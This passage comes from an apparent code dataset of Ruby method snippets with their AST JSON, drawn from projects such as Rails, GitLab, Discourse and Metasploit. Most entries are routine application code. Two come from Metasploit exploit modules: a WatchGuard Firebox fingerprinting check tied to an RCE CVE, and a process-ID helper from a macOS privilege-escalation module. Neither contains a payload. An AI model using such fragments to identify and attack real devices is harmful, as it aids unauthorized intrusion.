er\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"dump\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"dump_schema\",{\"type\":\"lvar\",\"children\":[\"db_config\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"file?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"clear_cache!\"]}]}]}","id":"c729d9f3-3e0b-4af9-a803-f4ca8fc2a3c1"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/users/update_highest_member_role_service.rb","start_line":23,"raw_source":"def highest_access_level\n @highest_access_level ||= @user.current_highest_access_level\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"highest_access_level\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@highest_access_level\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"current_highest_access_level\"]}]}]}","id":"382c3adb-58a5-435d-96c9-83c104c60f49"} {"repo_name":"discourse","file_path":"./repos/discourse/app/services/admin_notices/dismiss.rb","start_line":27,"raw_source":"def fetch_admin_notice(params:)\n AdminNotice.find_by(id: params.id)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_admin_notice\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AdminNotice\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"id\"]}]}]}]}]}","id":"5d5c362d-dd66-4956-8595-ee11981d85e6"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/watchguard_firebox_unauth_rce_cve_2022_26318.rb","start_line":76,"raw_source":"def check_watchguard_firebox?\n res = send_request_cgi({\n 'method' => 'GET',\n 'uri' => normalize_uri(target_uri.path, 'auth', 'login'),\n 'vars_get' => {\n 'from_page' => '/'\n }\n })\n return true if res && res.code == 200 && res.body.include?('Powered by WatchGuard Technologies') && res.body.include?('Firebox')\n\n false\n end","complexity_score":19.05,"ast_json":"{\"type\":\"def\",\"children\":[\"check_watchguard_firebox?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"auth\"]},{\"type\":\"str\",\"children\":[\"login\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"from_page\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"Powered by WatchGuard Technologies\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"Firebox\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"false\",\"children\":[]}]}]}","id":"e7fd4b93-123d-46b2-9000-35f7d68d7afe"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/query_cache_test.rb","start_line":625,"raw_source":"def test_query_cached_even_when_types_are_reset\n Task.cache do\n # Warm the cache\n Task.find(1)\n\n # Preload the type cache again (so we don't have those queries issued during our assertions)\n Task.lease_connection.send(:reload_type_map) if Task.lease_connection.respond_to?(:reload_type_map, true)\n\n # Clear places where type information is cached\n Task.reset_column_information\n Task.initialize_find_by_cache\n Task.define_attribute_methods\n\n assert_no_queries do\n Task.find(1)\n end\n end\n end","complexity_score":20.43,"ast_json":"{\"type\":\"def\",\"children\":[\"test_query_cached_even_when_types_are_reset\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Task\"]},\"cache\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Task\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Task\"]},\"lease_connection\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"reload_type_map\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Task\"]},\"lease_connection\"]},\"send\",{\"type\":\"sym\",\"children\":[\"reload_type_map\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Task\"]},\"reset_column_information\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Task\"]},\"initialize_find_by_cache\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Task\"]},\"define_attribute_methods\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_queries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Task\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}","id":"080a88a3-e99d-4764-a92e-22e347024427"} {"repo_name":"forem","file_path":"./repos/forem/app/models/user.rb","start_line":427,"raw_source":"def cached_followed_tag_names\n cache_name = \"user-#{id}-#{following_tags_count}-#{last_followed_at&.rfc3339}-x/followed_tag_names\"\n Rails.cache.fetch(cache_name, expires_in: 24.hours) do\n Tag.followed_by(self).pluck(:name)\n end\n end","complexity_score":12.45,"ast_json":"{\"type\":\"def\",\"children\":[\"cached_followed_tag_names\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cache_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"user-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"following_tags_count\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"last_followed_at\"]},\"rfc3339\"]}]},{\"type\":\"str\",\"children\":[\"-x/followed_tag_names\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"cache\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"cache_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires_in\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[24]},\"hours\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tag\"]},\"followed_by\",{\"type\":\"self\",\"children\":[]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}","id":"129544cb-e33b-43c7-8e0b-38e0f8288879"} {"repo_name":"forem","file_path":"./repos/forem/app/controllers/admin/community_bots_controller.rb","start_line":43,"raw_source":"def destroy\n result = CommunityBots::DeleteBot.call(\n bot_user: @bot,\n deleted_by: current_user,\n )\n\n if result.success?\n flash[:success] = \"Community bot deleted successfully!\"\n else\n flash[:error] = result.error_message\n end\n\n redirect_to admin_subforem_community_bots_path(@bot.onboarding_subforem_id)\n end","complexity_score":14.3,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CommunityBots\"]},\"DeleteBot\"]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bot_user\"]},{\"type\":\"ivar\",\"children\":[\"@bot\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deleted_by\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"success?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"str\",\"children\":[\"Community bot deleted successfully!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"error_message\"]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"admin_subforem_community_bots_path\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bot\"]},\"onboarding_subforem_id\"]}]}]}]}]}","id":"6f4aac36-7115-47aa-89d9-eb3411100fb4"} {"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20140530002535_remove_system_avatars_from_user_avatars.rb","start_line":6,"raw_source":"def up\n execute \"UPDATE users SET uploaded_avatar_id = NULL WHERE uploaded_avatar_id IN (\n SELECT system_upload_id FROM user_avatars\n )\"\n\n # normally we dont reach into the object model, but we have to here.\n # otherwise we will wait a real long time for uploads to go away\n skip = -1\n while skip = destroy_system_avatar_batch(skip)\n puts \"Destroyed up to id: #{skip}\"\n end\n\n remove_column :user_avatars, :system_upload_id\n remove_column :user_avatars, :system_avatar_version\n end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE users SET uploaded_avatar_id = NULL WHERE uploaded_avatar_id IN (\\n\"]},{\"type\":\"str\",\"children\":[\" SELECT system_upload_id FROM user_avatars\\n\"]},{\"type\":\"str\",\"children\":[\" )\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"skip\",{\"type\":\"int\",\"children\":[-1]}]},{\"type\":\"while\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"skip\",{\"type\":\"send\",\"children\":[null,\"destroy_system_avatar_batch\",{\"type\":\"lvar\",\"children\":[\"skip\"]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Destroyed up to id: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"skip\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"user_avatars\"]},{\"type\":\"sym\",\"children\":[\"system_upload_id\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"user_avatars\"]},{\"type\":\"sym\",\"children\":[\"system_avatar_version\"]}]}]}]}","id":"bcb1a250-b382-4096-ade1-f57d1bbf2d85"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/documentation.rb","start_line":129,"raw_source":"def namespace?(node)\n return false unless node\n\n if node.begin_type?\n node.children.all? { |child| constant_declaration?(child) }\n else\n constant_definition?(node)\n end\n end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"namespace?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"begin_type?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"children\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"child\"]}]},{\"type\":\"send\",\"children\":[null,\"constant_declaration?\",{\"type\":\"lvar\",\"children\":[\"child\"]}]}]},{\"type\":\"send\",\"children\":[null,\"constant_definition?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}]}","id":"51439823-d2e8-4f62-aa25-e345abaac04e"} {"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/db/migrate/20250321180501_create_eula.rb","start_line":2,"raw_source":"def change\n create_table :eulas do |t|\n t.integer :organization_id, null: false\n t.string :file_name\n t.integer :status, default: 0\n\n t.timestamps\n end\n end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"eulas\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"organization_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"file_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]}]}","id":"0c2209e9-649e-4d79-905e-249939348717"} {"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/enterprise_helper.rb","start_line":60,"raw_source":"def enterprise_token_plan_name(enterprise_token)\n plan = enterprise_token.plan.to_s\n I18n.t(plan, scope: [:enterprise_plans], default: plan.humanize)\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"enterprise_token_plan_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"enterprise_token\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"plan\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"enterprise_token\"]},\"plan\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"lvar\",\"children\":[\"plan\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"enterprise_plans\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plan\"]},\"humanize\"]}]}]}]}]}]}","id":"fecd1032-e9b9-4488-a058-32c35d4ec8fc"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/osx/local/acronis_trueimage_xpc_privesc.rb","start_line":169,"raw_source":"def get_valid_pid\n procs = get_processes\n return '1' if procs.empty?\n\n len = procs.length\n rand_proc = procs[rand(1...len)]\n return '1' if rand_proc['pid'].to_s.blank?\n\n rand_proc['pid'].to_s\n end","complexity_score":16.35,"ast_json":"{\"type\":\"def\",\"children\":[\"get_valid_pid\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"procs\",{\"type\":\"send\",\"children\":[null,\"get_processes\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"procs\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"1\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"len\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"procs\"]},\"length\"]}]},{\"type\":\"lvasgn\",\"children\":[\"rand_proc\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"procs\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"lvar\",\"children\":[\"len\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand_proc\"]},\"[]\",{\"type\":\"str\",\"children\":[\"pid\"]}]},\"to_s\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"1\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand_proc\"]},\"[]\",{\"type\":\"str\",\"children\":[\"pid\"]}]},\"to_s\"]}]}]}","id":"f026ba0f-8a38-494f-aeba-2a57dd6aaa1a"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/query/results/sums.rb","start_line":99,"raw_source":"def sums_callable_joins(grouped)\n callable_summed_up_columns\n .map do |c|\n join_condition = if grouped\n \"#{c.name}.group_id = work_packages.group_id OR \" \\\n \"#{c.name}.group_id IS NULL AND work_packages.group_id IS NULL\"\n else\n \"TRUE\"\n end\n\n \"LEFT OUTER JOIN (#{c.summable.(query, grouped).to_sql}) #{c.name} ON #{join_condition}\"\n end\n .join(\" \")\n end","complexity_score":18.6,"ast_json":"{\"type\":\"def\",\"children\":[\"sums_callable_joins\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"grouped\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"callable_summed_up_columns\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"join_condition\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"grouped\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\".group_id = work_packages.group_id OR \"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\".group_id IS NULL AND work_packages.group_id IS NULL\"]}]}]},{\"type\":\"str\",\"children\":[\"TRUE\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"LEFT OUTER JOIN (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"summable\"]},\"call\",{\"type\":\"send\",\"children\":[null,\"query\"]},{\"type\":\"lvar\",\"children\":[\"grouped\"]}]},\"to_sql\"]}]},{\"type\":\"str\",\"children\":[\") \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" ON \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"join_condition\"]}]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]}","id":"968ae2a8-4518-4035-81e1-e1f6971a98fa"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/impersonation_token.rb","start_line":74,"raw_source":"def fabricate!\n Flow::Login.sign_in_unless_signed_in(user: Runtime::User::Store.admin_user)\n\n Page::Main::Menu.perform(&:go_to_admin_area)\n Page::Admin::Menu.perform(&:go_to_users_overview)\n Page::Admin::Overview::Users::Index.perform do |index|\n index.choose_search_user(user.username)\n index.click_search\n index.click_user(user.name)\n end\n\n Page::Admin::Overview::Users::Show.perform do |show|\n show.go_to_impersonation_tokens do |impersonation_tokens|\n impersonation_tokens.click_add_new_token_button\n impersonation_tokens.fill_token_name(name)\n impersonation_tokens.check_api\n impersonation_tokens.fill_expiry_date(expires_at)\n impersonation_tokens.click_create_token_button\n self.token = impersonation_tokens.created_access_token\n end\n end\n\n reload!\n end","complexity_score":35.5,"ast_json":"{\"type\":\"def\",\"children\":[\"fabricate!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Flow\"]},\"Login\"]},\"sign_in_unless_signed_in\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"User\"]},\"Store\"]},\"admin_user\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Page\"]},\"Main\"]},\"Menu\"]},\"perform\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"go_to_admin_area\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Page\"]},\"Admin\"]},\"Menu\"]},\"perform\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"go_to_users_overview\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Page\"]},\"Admin\"]},\"Overview\"]},\"Users\"]},\"Index\"]},\"perform\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"choose_search_user\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"username\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"click_search\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"click_user\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"name\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Page\"]},\"Admin\"]},\"Overview\"]},\"Users\"]},\"Show\"]},\"perform\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"show\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"show\"]},\"go_to_impersonation_tokens\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"impersonation_tokens\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"impersonation_tokens\"]},\"click_add_new_token_button\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"impersonation_tokens\"]},\"fill_token_name\",{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"impersonation_tokens\"]},\"check_api\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"impersonation_tokens\"]},\"fill_expiry_date\",{\"type\":\"send\",\"children\":[null,\"expires_at\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"impersonation_tokens\"]},\"click_create_token_button\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"token=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"impersonation_tokens\"]},\"created_access_token\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"reload!\"]}]}]}","id":"50eca20e-ce3c-46d9-91ee-1467b4e63e47"} {"repo_name":"manageiq","file_path":"./repos/manageiq/lib/vmdb/permission_stores.rb","start_line":5,"raw_source":"def self.instance\n @instance ||= new(unsupported)\n end","complexity_score":3.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"instance\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@instance\"]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"send\",\"children\":[null,\"unsupported\"]}]}]}]}","id":"7cc50385-2969-48df-bacb-d08d3a946b39"} {"repo_name":"forem","file_path":"./repos/forem/app/models/user.rb","start_line":661,"raw_source":"def last_activity\n return unless registered == true\n\n [registered_at, last_comment_at, last_article_at, latest_article_updated_at, last_reacted_at, profile_updated_at,\n last_moderation_notification, last_notification_activity].compact.max\n end","complexity_score":16.6,"ast_json":"{\"type\":\"def\",\"children\":[\"last_activity\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"registered\"]},\"==\",{\"type\":\"true\",\"children\":[]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"registered_at\"]},{\"type\":\"send\",\"children\":[null,\"last_comment_at\"]},{\"type\":\"send\",\"children\":[null,\"last_article_at\"]},{\"type\":\"send\",\"children\":[null,\"latest_article_updated_at\"]},{\"type\":\"send\",\"children\":[null,\"last_reacted_at\"]},{\"type\":\"send\",\"children\":[null,\"profile_updated_at\"]},{\"type\":\"send\",\"children\":[null,\"last_moderation_notification\"]},{\"type\":\"send\",\"children\":[null,\"last_notification_activity\"]}]},\"compact\"]},\"max\"]}]}]}","id":"392dd89f-916b-4109-9646-cbe4680c4dcb"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/mailers/conversation_reply_mailer.rb","start_line":152,"raw_source":"def custom_message_id\n last_message = @message || @messages&.last\n\n \"<conversation/#{@conversation.uuid}/messages/#{last_message&.id}@#{channel_email_domain}>\"\n 